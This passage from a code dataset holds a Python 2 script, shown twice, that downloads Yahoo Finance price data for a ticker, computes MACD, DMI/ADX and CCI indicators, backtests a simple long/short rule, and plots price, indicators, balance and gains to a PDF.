token>\n<import token>\n\n\nclass BuildDataset(data.Dataset):\n <docstring token>\n <function token>\n <function token>\n <function token>\n\n\n<function token>\n", "<docstring token>\n<import token>\n<class token>\n<function token>\n" ]
false
433
6454790c98b254edeead4e68ef7f5760c9105a57
#!/usr/bin/python # # Dividend! # import os import sys import urllib2 import math import numpy from pylab import * # # Dividend adjusted! # Use_Dividend_Adjusted = True if ( Use_Dividend_Adjusted ): readinIndex = 6 else: readinIndex = 4 # Subplots in total nsubplots = 5 iprice = 1 imacd = 2 #icci = 4 idmi = 3 ibalance = 4 igain = 5 # CCI parameters!!! CCI_period = 20 # DMI parameters!!! DMI_period = 14 name = str(sys.argv[1]) period = str(sys.argv[2]) time_range = int(sys.argv[3]) predict = bool(int(sys.argv[4])) if (period == 'd'): periodText = "days" if (period == 'w'): periodText = "weeks" if (period == 'm'): periodText = "months" def Average(list): r=0.0 for i in list: r+=float(i) return r/len(list) def EMA(list): r = 0.0 f = 0 for i in range(1, len(list) + 1): r = r + float(list[i-1]) * ( len(list) + 1 - i ) f = f + i return r / f response = urllib2.urlopen('http://table.finance.yahoo.com/table.csv?s='+name+'&d=12&e=29&f=3014&g='+period+'&a=3&b=23&c=1000&ignore=.csv') if not os.path.exists( 'figures' ): os.makedirs( 'figures' ) html = response.read() #print html a = html.split('\n') dmax = len(a) - 2 #Be careful here! One header line and One empty line in the end if ( dmax < time_range ): time_range = dmax - 1 a200 = [] date200 = [] avg12 = [] avg26 = [] dif = [] TP = [] TR = [] TR14 = [] HighP = [] LowP = [] DM_positive = [] DM_negative = [] DM14_positive = [] DM14_negative = [] DI14_positive = [] DI14_negative = [] DX = [] ADX = [] for i in range(dmax, 0, -1): date200.append(a[i].split(',')[0]) a200.append(float(a[i].split(',')[readinIndex])) # HighP.append( float(a[i].split(',')[2]) ) HighP.append( float(a[i].split(',')[2]) / float(a[i].split(',')[4]) * float(a[i].split(',')[6]) ) # LowP.append( float(a[i].split(',')[3]) ) LowP.append( float(a[i].split(',')[3]) / float(a[i].split(',')[4]) * float(a[i].split(',')[6]) ) CloseP = float(a[i].split(',')[readinIndex]) TP.append( (HighP[dmax - i] + LowP[dmax - i] + CloseP) / 3.0 ) if ( i < dmax ): TR.append( max(HighP[dmax - i], a200[dmax - i - 1]) - min(LowP[dmax - i], a200[dmax - i - 1]) ) TR14.append( TR14[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + TR[dmax - i] / float(DMI_period) ) DM_positive.append( max(0, HighP[dmax - i] - HighP[dmax - i - 1]) ) DM_negative.append( max(0, LowP[dmax - i - 1] - LowP[dmax - i]) ) DM14_positive.append( DM14_positive[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + DM_positive[dmax - i] / float(DMI_period) ) DM14_negative.append( DM14_negative[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + DM_negative[dmax - i] / float(DMI_period) ) if ( TR14[dmax - i] == 0 ): DI14_positive.append(0) DI14_negative.append(0) else: DI14_positive.append( DM14_positive[dmax - i] / TR14[dmax - i] * 100 ) DI14_negative.append( DM14_negative[dmax - i] / TR14[dmax - i] * 100 ) if ( DI14_positive[dmax - i] + DI14_negative[dmax - i] == 0 ): DX.append(0) else: DX.append( abs( DI14_positive[dmax - i] - DI14_negative[dmax - i] ) / ( DI14_positive[dmax - i] + DI14_negative[dmax - i] ) * 100 ) ADX.append( ADX[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + DX[dmax - i] / float(DMI_period) ) else: TR.append( HighP[dmax - i] - LowP[dmax - i] ) TR14.append( TR[dmax - i] ) DM_positive.append(0) DM_negative.append(0) DM14_positive.append( DM_positive[dmax - i] ) DM14_negative.append( DM_negative[dmax - i] ) if ( TR14[dmax - i] == 0 ): DI14_positive.append(0) DI14_negative.append(0) else: DI14_positive.append( DM14_positive[dmax - i] / TR14[dmax - i] * 100 ) DI14_negative.append( DM14_negative[dmax - i] / TR14[dmax - i] * 100 ) if ( DI14_positive[dmax - i] + DI14_negative[dmax - i] == 0 ): DX.append(0) else: DX.append( abs( DI14_positive[dmax - i] - DI14_negative[dmax - i] ) / ( DI14_positive[dmax - i] + DI14_negative[dmax - i] ) * 100 ) ADX.append( DX[dmax - i] ) # print HighP, LowP, CloseP #a200.reverse() #date200.reverse() #TP.reverse() a300 = [] for i in range(0, len(a200) ): a200[i] = float(a200[i]) #print max(a200) EMA12 = a200[0] EMA26 = a200[0] DIF = 0.0 DEA_old = 0.0 DEA_new = 0.0 DIF_array = [] DEA_array = [] #print html MA_array = [] CCI_array = [] figure(1,(12,15)) # CCI Part for i in range(0, dmax): if ( i < CCI_period - 1 ): MA = Average( TP[:i+1] ) MA_array.append(MA) # MD = Average( [abs(x - y) for x, y in zip(MA_array[:i+1], TP[:i+1])] ) MD = Average( [abs(x - MA) for x in TP[:i+1]] ) else: MA = Average( TP[i-19:i+1] ) MA_array.append(MA) # MD = Average( [abs(x - y) for x, y in zip(MA_array[i-19:i+1], TP[i-19:i+1])] ) MD = Average( [abs(x - MA) for x in TP[i-19:i+1]] ) if ( i < CCI_period - 1 ): CCI_array.append(0) else: CCI_array.append ( ( TP[i] - MA ) / MD / 0.015 ) # print TP[i], MA # MACD Part for i in range(1, dmax): EMA12 = ( 2 * float(a200[i]) + 11 * EMA12 ) / 13 EMA26 = ( 2 * float(a200[i]) + 25 * EMA26 ) / 27 DIF = EMA12 - EMA26 DEA_new = DEA_old * 8 / 10 + DIF * 2 / 10 DIF_array.append(DIF) DEA_array.append(DEA_new) DEA_old = DEA_new x = arange(1, dmax, 1) #print len(x) #DIF_array = x #plot(x[400:], DIF_array[400:], x[400:], DEA_array[400:]) subplot(nsubplots,1,iprice) plot(x[dmax-time_range-1:]-(dmax-time_range-1), a200[dmax - time_range:], 'k') grid(True) xindex = [] xdate = [] xinterval = 5 for i in range( 0, xinterval ): xindex.append( int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1 ) xdate.append( str( date200[dmax - 1 - time_range + int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1] ) ) xindex.append( time_range ) xdate.append( str( date200[dmax - 1] ) ) xticks(xindex, xdate) ylabel('PRICE (USD)', fontsize=16) title(name.upper() + ' Price and Indices in the past ' + str(time_range) + ' ' + periodText, fontsize = 18 ) # Plot CCI #subplot(nsubplots,1,icci) #plot(x[dmax-time_range-1:]-(dmax-time_range-1), CCI_array[dmax - time_range:], 'k') #grid(True) #xticks(xindex, xdate) #ylabel('CCI_20', fontsize=16) # Plot DMI subplot(nsubplots,1,idmi) plot(x[dmax-time_range-1:]-(dmax-time_range-1), DI14_positive[dmax - time_range:], 'b',linestyle=':') plot(x[dmax-time_range-1:]-(dmax-time_range-1), DI14_negative[dmax - time_range:], 'm', linestyle='--') #plot(x[dmax-time_range-1:]-(dmax-time_range-1), DX[dmax - time_range:], 'g') plot(x[dmax-time_range-1:]-(dmax-time_range-1), ADX[dmax - time_range:], 'k', linestyle='-') grid(True) xticks(xindex, xdate) ylabel('DMI_14', fontsize=16) lg = legend(['DI+', 'DI-', 'ADX'], loc='upper center', bbox_to_anchor=(1.049, 1.05)) subplot(nsubplots,1,imacd) plot(x[dmax-time_range-1:]-(dmax-time_range-1), DIF_array[dmax-time_range-1:], 'b') plot(x[dmax-time_range-1:]-(dmax-time_range-1), DEA_array[dmax-time_range-1:], 'r') #xlabel('Date', fontsize=16) ylabel('MACD (USD)', fontsize=16) globalmin = min([min(DIF_array[dmax-time_range-1:]), min(DEA_array[dmax-time_range-1:])]) globalmax = max([max(DIF_array[dmax-time_range-1:]), max(DEA_array[dmax-time_range-1:])]) #for j in range( 0, 5): # text(time_range - j * xinterval - float(time_range) / 40.0, globalmin - (globalmax - globalmin) * 0.2, date200[dmax-1-j * xinterval],color='blue') lg = legend(['DIF', 'MACD'], loc='upper center') lg.draw_frame(False) grid(True) xticks(xindex, xdate) #xticks([i * 5 for i in range(1, time_range / 5)]) #title('[12, 26, 9] MACD Curves for ' + name.upper() + ' in the recent ' + str(time_range) + ' ' + periodText ) if ( predict == True): cash = 1.0 ns = 0 nborrow = 0 ntrade = 0 ngain = 0 nloss = 0 total_gain = 0.0 total_loss = 0.0 top = [] itop = [] bottom = [] ibottom = [] iabove = 1 ibelow = 1 imax = 1 maxd = -99999.0 imin = 1 mind = 99999.0 imaxprice = 1 maxprice = -99999.0 iminprice = 1 minprice = 99999.0 above_active = False below_active = False found_low_MACD = False found_low_ADX = False last_low_MACD = 0 last_low_ADX = 0 real_high = False total_vector = [] gain_result_vector = [] for i in range( dmax - 1 - time_range, dmax - 1): total = cash + ns * float(a200[i+1]) - nborrow * float(a200[i+1]) total_vector.append( total ) gain_result = 0.0 # print i, " ", a200[i+1], " ", total, date200[i+1] correct = False buy = False sell = False DIF_slope = DIF_array[i] - DIF_array[i-1] DEA_slope = DEA_array[i] - DEA_array[i-1] if ( DIF_array[i-1] < DEA_array[i-1] and DIF_array[i-2] > DIF_array[i-1] and DIF_array[i] > DIF_array[i-1] ): found_low_MACD = True last_low_MACD = i if ( DIF_slope < 0 and DIF_array[i-1] > DEA_array[i-1] and DIF_array[i] < DEA_array[i] ): sell = True subplot(nsubplots,1,imacd) axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # Make decision based on CCI # if ( CCI_array[i] < 100 and CCI_array[i+1] >= 100 ): # buy = True # subplot(nsubplots,1,icci) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g') # if ( CCI_array[i] > -100 and CCI_array[i+1] <= -100 ): # sell = True # subplot(nsubplots,1,icci) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # Make decision based on DMI if ( ADX[i+1] < ADX[i] and ADX[i-1] < ADX[i] ): found_low_ADX = True if ( i - last_low_MACD <= 3 ): buy = True subplot(nsubplots,1,imacd) axvline(x = last_low_MACD - (dmax-time_range-1) + 1, linewidth=1, color='g') subplot(nsubplots,1,idmi) axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g') # if ( DI14_positive[i] > DI14_negative[i] and DI14_positive[i+1] < DI14_negative[i+1] and ADX[i+1] >= 25 ): # sell = True # subplot(nsubplots,1,idmi) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') if ( buy ): if ( nborrow > 0 ): subplot(nsubplots,1,iprice) axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g') ntrade = ntrade + 1 cash = cash - nborrow * float(a200[i+1]) if ( float(a200[i+1]) < borrow_price ): ngain = ngain + 1 gain = nborrow * (borrow_price - float(a200[i+1])) gain_result = gain total_gain = total_gain + gain # file.write(str(ntrade) + ' ' + str(gain) + '\n') else: nloss = nloss + 1 loss = nborrow * (borrow_price - float(a200[i+1])) gain_result = loss total_loss = total_loss + loss # file.write(str(ntrade) + ' ' + str(loss) + '\n') nborrow = 0 if ( ns == 0 ): subplot(nsubplots,1,iprice) axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g') # subplot(nsubplots,1,iprice) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g') # subplot(nsubplots,1,icci) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g') ns = cash / float(a200[i+1]) if ( ns > 0 ): cash = cash - ns * float(a200[i+1]) buy_price = float(a200[i+1]) buy_date = i - (dmax-time_range-1) + 1 if ( sell ): if ( ns > 0 ): subplot(nsubplots,1,iprice) axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # subplot(nsubplots,1,iprice) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # subplot(nsubplots,1,icci) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # print 'Bought on ', date200[(dmax-time_range-1) + buy_date], ' @ ', buy_price, '; Sell on ', date200[i+1], ' @ ', a200[i+1] ntrade = ntrade + 1 cash = cash + ns * float(a200[i+1]) if ( float(a200[i+1]) > buy_price ): ngain = ngain + 1 gain = ns * (float(a200[i+1]) - buy_price) gain_result = gain total_gain = total_gain + gain # file.write(str(ntrade) + ' ' + str(gain) + '\n') else: nloss = nloss + 1 loss = ns * (float(a200[i+1]) - buy_price) gain_result = loss total_loss = total_loss + loss # file.write(str(ntrade) + ' ' + str(loss) + '\n') ns = 0 if ( nborrow == 0 ): subplot(nsubplots,1,iprice) axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # subplot(nsubplots,1,iprice) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') # subplot(nsubplots,1,icci) # axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') nborrow = cash / float(a200[i+1]) if ( nborrow > 0 ): cash = cash + nborrow * float(a200[i+1]) borrow_price = float(a200[i+1]) borrow_date = i - (dmax-time_range-1) + 1 gain_result_vector.append( gain_result ) # file.close() ref_total = 1.0 / float(a200[dmax - 1 - time_range + 1]) * (-float(a200[dmax - 1 - time_range + 1]) + float(a200[dmax - 1])) + 1.0 if ( ngain == 0 ): avg_gain = 'NA' else: avg_gain = total_gain / ngain if ( nloss == 0 ): avg_loss = 'NA' else: avg_loss = total_loss / nloss print ntrade, ' ', ngain, ' ', nloss, ' ', avg_gain, ' ', avg_loss, total, ref_total, (total-ref_total)/ref_total*100 #figure() x = arange(1, time_range + 1, 1) subplot(nsubplots,1,ibalance) xlim([1,time_range]) plot( x, total_vector ) #title(name.upper() + ' Balance and Gain/Loss in the past ' + str(time_range) + ' ' + periodText, fontsize = 18 ) xindex = [] xdate = [] xinterval = 5 for i in range( 0, xinterval ): xindex.append( int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1 ) # print int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) xdate.append( str( date200[dmax - 1 - time_range + int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1] ) ) xindex.append( time_range ) xdate.append( str( date200[dmax - 1] ) ) xticks(xindex, xdate, fontsize=12) ylabel('Balance (USD)', fontsize=16) grid(True) subplot(nsubplots,1,igain) xlim([1,time_range]) vlines( x, [0], gain_result_vector, lw=4 ) axhline(0, color='black') xticks(xindex, xdate, fontsize=12) xlabel('Date', fontsize=16) ylabel('Gain (USD)', fontsize=16) grid(True) #figure() #x = arange(1, time_range + 1, 1) #subplot(nsubplots,1,3) #xlim([1,time_range]) #plot( x, total_vector ) #title(name.upper() + ' Balance and Gain/Loss in the past ' + str(time_range) + ' ' + periodText, fontsize = 18 ) #xindex = [] #xdate = [] #xinterval = 5 #for i in range( 0, xinterval ): # xindex.append( int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1 ) # print int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) # xdate.append( str( date200[dmax - 1 - time_range + int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1] ) ) #xindex.append( time_range ) #xdate.append( str( date200[dmax - 1] ) ) #xticks(xindex, xdate, fontsize=12) #ylabel('Balance (USD)', fontsize=16) #grid(True) #subplot(nsubplots,1,4) #xlim([1,time_range]) #vlines( x, [0], gain_result_vector, lw=4 ) #axhline(0, color='black') #xticks(xindex, xdate, fontsize=12) #xlabel('Date', fontsize=16) #ylabel('Gain (USD)', fontsize=16) #grid(True) savefig( './figures/' + name.upper() + '_' + periodText + '.pdf' )
[ "#!/usr/bin/python\n#\n# Dividend!\n#\n\nimport os\nimport sys\nimport urllib2\nimport math\nimport numpy\nfrom pylab import *\n\n# \n# Dividend adjusted! \n#\n \nUse_Dividend_Adjusted = True\n\nif ( Use_Dividend_Adjusted ):\n readinIndex = 6\nelse:\n readinIndex = 4\n\n# Subplots in total\nnsubplots = 5\niprice = 1\nimacd = 2\n#icci = 4\nidmi = 3\nibalance = 4\nigain = 5\n\n\n# CCI parameters!!! \nCCI_period = 20\n\n# DMI parameters!!!\nDMI_period = 14\n\nname = str(sys.argv[1])\nperiod = str(sys.argv[2])\ntime_range = int(sys.argv[3]) \npredict = bool(int(sys.argv[4]))\n\nif (period == 'd'):\n periodText = \"days\"\nif (period == 'w'):\n periodText = \"weeks\"\nif (period == 'm'):\n periodText = \"months\"\n\ndef Average(list):\n r=0.0\n for i in list:\n r+=float(i)\n return r/len(list)\n\ndef EMA(list):\n r = 0.0\n f = 0\n for i in range(1, len(list) + 1): \n r = r + float(list[i-1]) * ( len(list) + 1 - i )\n f = f + i\n return r / f\n\nresponse = urllib2.urlopen('http://table.finance.yahoo.com/table.csv?s='+name+'&d=12&e=29&f=3014&g='+period+'&a=3&b=23&c=1000&ignore=.csv')\n\nif not os.path.exists( 'figures' ):\n os.makedirs( 'figures' )\n\nhtml = response.read()\n#print html\na = html.split('\\n')\n\ndmax = len(a) - 2 #Be careful here! One header line and One empty line in the end\nif ( dmax < time_range ):\n time_range = dmax - 1\na200 = []\ndate200 = []\navg12 = []\navg26 = []\ndif = []\nTP = []\nTR = []\nTR14 = []\nHighP = []\nLowP = []\n\nDM_positive = []\nDM_negative = []\nDM14_positive = []\nDM14_negative = []\n\nDI14_positive = []\nDI14_negative = []\n\nDX = []\nADX = []\n\nfor i in range(dmax, 0, -1):\n date200.append(a[i].split(',')[0])\n a200.append(float(a[i].split(',')[readinIndex]))\n# HighP.append( float(a[i].split(',')[2]) )\n HighP.append( float(a[i].split(',')[2]) / float(a[i].split(',')[4]) * float(a[i].split(',')[6]) )\n# LowP.append( float(a[i].split(',')[3]) )\n LowP.append( float(a[i].split(',')[3]) / float(a[i].split(',')[4]) * float(a[i].split(',')[6]) )\n CloseP = float(a[i].split(',')[readinIndex]) \n TP.append( (HighP[dmax - i] + LowP[dmax - i] + CloseP) / 3.0 )\n if ( i < dmax ):\n TR.append( max(HighP[dmax - i], a200[dmax - i - 1]) - min(LowP[dmax - i], a200[dmax - i - 1]) )\n TR14.append( TR14[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + TR[dmax - i] / float(DMI_period) ) \n DM_positive.append( max(0, HighP[dmax - i] - HighP[dmax - i - 1]) )\n DM_negative.append( max(0, LowP[dmax - i - 1] - LowP[dmax - i]) )\n DM14_positive.append( DM14_positive[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + DM_positive[dmax - i] / float(DMI_period) )\n DM14_negative.append( DM14_negative[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + DM_negative[dmax - i] / float(DMI_period) )\n if ( TR14[dmax - i] == 0 ):\n DI14_positive.append(0)\n DI14_negative.append(0)\n else:\n DI14_positive.append( DM14_positive[dmax - i] / TR14[dmax - i] * 100 )\n DI14_negative.append( DM14_negative[dmax - i] / TR14[dmax - i] * 100 )\n if ( DI14_positive[dmax - i] + DI14_negative[dmax - i] == 0 ):\n DX.append(0)\n else:\n DX.append( abs( DI14_positive[dmax - i] - DI14_negative[dmax - i] ) / ( DI14_positive[dmax - i] + DI14_negative[dmax - i] ) * 100 )\n ADX.append( ADX[dmax - i - 1] * float(DMI_period - 1) / float(DMI_period) + DX[dmax - i] / float(DMI_period) )\n else:\n TR.append( HighP[dmax - i] - LowP[dmax - i] )\n TR14.append( TR[dmax - i] )\n DM_positive.append(0)\n DM_negative.append(0)\n DM14_positive.append( DM_positive[dmax - i] )\n DM14_negative.append( DM_negative[dmax - i] )\n if ( TR14[dmax - i] == 0 ):\n DI14_positive.append(0)\n DI14_negative.append(0)\n else:\n DI14_positive.append( DM14_positive[dmax - i] / TR14[dmax - i] * 100 )\n DI14_negative.append( DM14_negative[dmax - i] / TR14[dmax - i] * 100 )\n if ( DI14_positive[dmax - i] + DI14_negative[dmax - i] == 0 ):\n DX.append(0)\n else:\n DX.append( abs( DI14_positive[dmax - i] - DI14_negative[dmax - i] ) / ( DI14_positive[dmax - i] + DI14_negative[dmax - i] ) * 100 )\n ADX.append( DX[dmax - i] )\n\n# print HighP, LowP, CloseP\n#a200.reverse()\n#date200.reverse()\n#TP.reverse()\n\na300 = []\nfor i in range(0, len(a200) ):\n a200[i] = float(a200[i])\n#print max(a200)\nEMA12 = a200[0]\nEMA26 = a200[0]\nDIF = 0.0\nDEA_old = 0.0\nDEA_new = 0.0\nDIF_array = []\nDEA_array = []\n#print html\n\nMA_array = []\nCCI_array = []\n\nfigure(1,(12,15)) \n\n # CCI Part\nfor i in range(0, dmax):\n if ( i < CCI_period - 1 ):\n MA = Average( TP[:i+1] )\n MA_array.append(MA)\n# MD = Average( [abs(x - y) for x, y in zip(MA_array[:i+1], TP[:i+1])] )\n MD = Average( [abs(x - MA) for x in TP[:i+1]] )\n else:\n MA = Average( TP[i-19:i+1] )\n MA_array.append(MA)\n# MD = Average( [abs(x - y) for x, y in zip(MA_array[i-19:i+1], TP[i-19:i+1])] )\n MD = Average( [abs(x - MA) for x in TP[i-19:i+1]] )\n if ( i < CCI_period - 1 ):\n CCI_array.append(0)\n else:\n CCI_array.append ( ( TP[i] - MA ) / MD / 0.015 )\n# print TP[i], MA\n\n # MACD Part\nfor i in range(1, dmax):\n EMA12 = ( 2 * float(a200[i]) + 11 * EMA12 ) / 13\n EMA26 = ( 2 * float(a200[i]) + 25 * EMA26 ) / 27\n DIF = EMA12 - EMA26\n DEA_new = DEA_old * 8 / 10 + DIF * 2 / 10\n DIF_array.append(DIF)\n DEA_array.append(DEA_new)\n DEA_old = DEA_new\n\nx = arange(1, dmax, 1)\n#print len(x)\n#DIF_array = x\n#plot(x[400:], DIF_array[400:], x[400:], DEA_array[400:])\nsubplot(nsubplots,1,iprice)\nplot(x[dmax-time_range-1:]-(dmax-time_range-1), a200[dmax - time_range:], 'k')\ngrid(True)\nxindex = []\nxdate = []\nxinterval = 5\nfor i in range( 0, xinterval ):\n xindex.append( int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1 )\n xdate.append( str( date200[dmax - 1 - time_range + int ( math.ceil( float(i) * ( time_range - 1 ) / xinterval ) ) + 1] ) )\nxindex.append( time_range )\nxdate.append( str( date200[dmax - 1] ) )\nxticks(xindex, xdate)\nylabel('PRICE (USD)', fontsize=16)\ntitle(name.upper() + ' Price and Indices in the past ' + str(time_range) + ' ' + periodText, fontsize = 18 ) \n\n# Plot CCI\n#subplot(nsubplots,1,icci)\n#plot(x[dmax-time_range-1:]-(dmax-time_range-1), CCI_array[dmax - time_range:], 'k')\n#grid(True)\n#xticks(xindex, xdate)\n#ylabel('CCI_20', fontsize=16)\n\n# Plot DMI\nsubplot(nsubplots,1,idmi)\nplot(x[dmax-time_range-1:]-(dmax-time_range-1), DI14_positive[dmax - time_range:], 'b',linestyle=':')\nplot(x[dmax-time_range-1:]-(dmax-time_range-1), DI14_negative[dmax - time_range:], 'm', linestyle='--')\n#plot(x[dmax-time_range-1:]-(dmax-time_range-1), DX[dmax - time_range:], 'g')\nplot(x[dmax-time_range-1:]-(dmax-time_range-1), ADX[dmax - time_range:], 'k', linestyle='-')\ngrid(True)\nxticks(xindex, xdate)\nylabel('DMI_14', fontsize=16)\nlg = legend(['DI+', 'DI-', 'ADX'], loc='upper center', bbox_to_anchor=(1.049, 1.05))\n\nsubplot(nsubplots,1,imacd)\nplot(x[dmax-time_range-1:]-(dmax-time_range-1), DIF_array[dmax-time_range-1:], 'b')\nplot(x[dmax-time_range-1:]-(dmax-time_range-1), DEA_array[dmax-time_range-1:], 'r')\n#xlabel('Date', fontsize=16)\nylabel('MACD (USD)', fontsize=16)\nglobalmin = min([min(DIF_array[dmax-time_range-1:]), min(DEA_array[dmax-time_range-1:])])\nglobalmax = max([max(DIF_array[dmax-time_range-1:]), max(DEA_array[dmax-time_range-1:])])\n#for j in range( 0, 5):\n# text(time_range - j * xinterval - float(time_range) / 40.0, globalmin - (globalmax - globalmin) * 0.2, date200[dmax-1-j * xinterval],color='blue')\nlg = legend(['DIF', 'MACD'], loc='upper center')\nlg.draw_frame(False)\ngrid(True)\nxticks(xindex, xdate)\n#xticks([i * 5 for i in range(1, time_range / 5)])\n#title('[12, 26, 9] MACD Curves for ' + name.upper() + ' in the recent ' + str(time_range) + ' ' + periodText )\nif ( predict == True):\n cash = 1.0\n ns = 0\n nborrow = 0\n ntrade = 0\n ngain = 0\n nloss = 0\n total_gain = 0.0\n total_loss = 0.0\n top = []\n itop = []\n bottom = []\n ibottom = []\n iabove = 1\n ibelow = 1\n imax = 1\n maxd = -99999.0\n imin = 1\n mind = 99999.0\n imaxprice = 1\n maxprice = -99999.0\n iminprice = 1\n minprice = 99999.0\n above_active = False\n below_active = False\n\n found_low_MACD = False\n found_low_ADX = False\n last_low_MACD = 0\n last_low_ADX = 0\n\n real_high = False\n\n total_vector = []\n gain_result_vector = []\n\n for i in range( dmax - 1 - time_range, dmax - 1):\n total = cash + ns * float(a200[i+1]) - nborrow * float(a200[i+1])\n total_vector.append( total )\n gain_result = 0.0\n# print i, \" \", a200[i+1], \" \", total, date200[i+1]\n correct = False\n buy = False\n sell = False\n DIF_slope = DIF_array[i] - DIF_array[i-1]\n DEA_slope = DEA_array[i] - DEA_array[i-1]\n\n if ( DIF_array[i-1] < DEA_array[i-1] and DIF_array[i-2] > DIF_array[i-1] and DIF_array[i] > DIF_array[i-1] ):\n found_low_MACD = True\n last_low_MACD = i\n \n if ( DIF_slope < 0 and DIF_array[i-1] > DEA_array[i-1] and DIF_array[i] < DEA_array[i] ):\n sell = True\n subplot(nsubplots,1,imacd)\n axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n\n # Make decision based on CCI\n# if ( CCI_array[i] < 100 and CCI_array[i+1] >= 100 ):\n# buy = True\n# subplot(nsubplots,1,icci)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g')\n\n# if ( CCI_array[i] > -100 and CCI_array[i+1] <= -100 ):\n# sell = True\n# subplot(nsubplots,1,icci) \n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed') \n\n # Make decision based on DMI\n if ( ADX[i+1] < ADX[i] and ADX[i-1] < ADX[i] ):\n found_low_ADX = True\n if ( i - last_low_MACD <= 3 ):\n buy = True\n subplot(nsubplots,1,imacd)\n axvline(x = last_low_MACD - (dmax-time_range-1) + 1, linewidth=1, color='g')\n subplot(nsubplots,1,idmi)\n axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g')\n\n# if ( DI14_positive[i] > DI14_negative[i] and DI14_positive[i+1] < DI14_negative[i+1] and ADX[i+1] >= 25 ):\n# sell = True\n# subplot(nsubplots,1,idmi)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n\n if ( buy ):\n if ( nborrow > 0 ):\n subplot(nsubplots,1,iprice)\n axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g')\n ntrade = ntrade + 1\n cash = cash - nborrow * float(a200[i+1])\n if ( float(a200[i+1]) < borrow_price ):\n ngain = ngain + 1\n gain = nborrow * (borrow_price - float(a200[i+1]))\n gain_result = gain\n total_gain = total_gain + gain\n# file.write(str(ntrade) + ' ' + str(gain) + '\\n')\n else:\n nloss = nloss + 1\n loss = nborrow * (borrow_price - float(a200[i+1]))\n gain_result = loss\n total_loss = total_loss + loss\n# file.write(str(ntrade) + ' ' + str(loss) + '\\n')\n nborrow = 0\n if ( ns == 0 ):\n subplot(nsubplots,1,iprice)\n axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g')\n# subplot(nsubplots,1,iprice)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g')\n# subplot(nsubplots,1,icci)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='g')\n ns = cash / float(a200[i+1])\n if ( ns > 0 ):\n cash = cash - ns * float(a200[i+1])\n buy_price = float(a200[i+1])\n buy_date = i - (dmax-time_range-1) + 1\n\n if ( sell ): \n if ( ns > 0 ):\n subplot(nsubplots,1,iprice)\n axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n# subplot(nsubplots,1,iprice)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n# subplot(nsubplots,1,icci)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n# print 'Bought on ', date200[(dmax-time_range-1) + buy_date], ' @ ', buy_price, '; Sell on ', date200[i+1], ' @ ', a200[i+1]\n ntrade = ntrade + 1\n cash = cash + ns * float(a200[i+1])\n if ( float(a200[i+1]) > buy_price ):\n ngain = ngain + 1\n gain = ns * (float(a200[i+1]) - buy_price)\n gain_result = gain\n total_gain = total_gain + gain\n# file.write(str(ntrade) + ' ' + str(gain) + '\\n')\n else:\n nloss = nloss + 1\n loss = ns * (float(a200[i+1]) - buy_price)\n gain_result = loss\n total_loss = total_loss + loss\n# file.write(str(ntrade) + ' ' + str(loss) + '\\n')\n ns = 0\n if ( nborrow == 0 ):\n subplot(nsubplots,1,iprice)\n axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n# subplot(nsubplots,1,iprice)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n# subplot(nsubplots,1,icci)\n# axvline(x = i - (dmax-time_range-1) + 1, linewidth=1, color='r',linestyle='dashed')\n nborrow = cash / float(a200[i+1])\n if ( nborrow > 0 ):\n cash = cash + nborrow * float(a200[i+1])\n borrow_price = float(a200[i+1])\n borrow_date = i - (dmax-time_range-1) + 1\n gain_result_vector.append( gain_result )\n# file.close()\n ref_total = 1.0 / float(a200[dmax - 1 - time_range + 1]) * (-float(a200[dmax - 1 - time_range + 1]) + float(a200[dmax - 1])) + 1.0\n if ( ngain == 0 ):\n 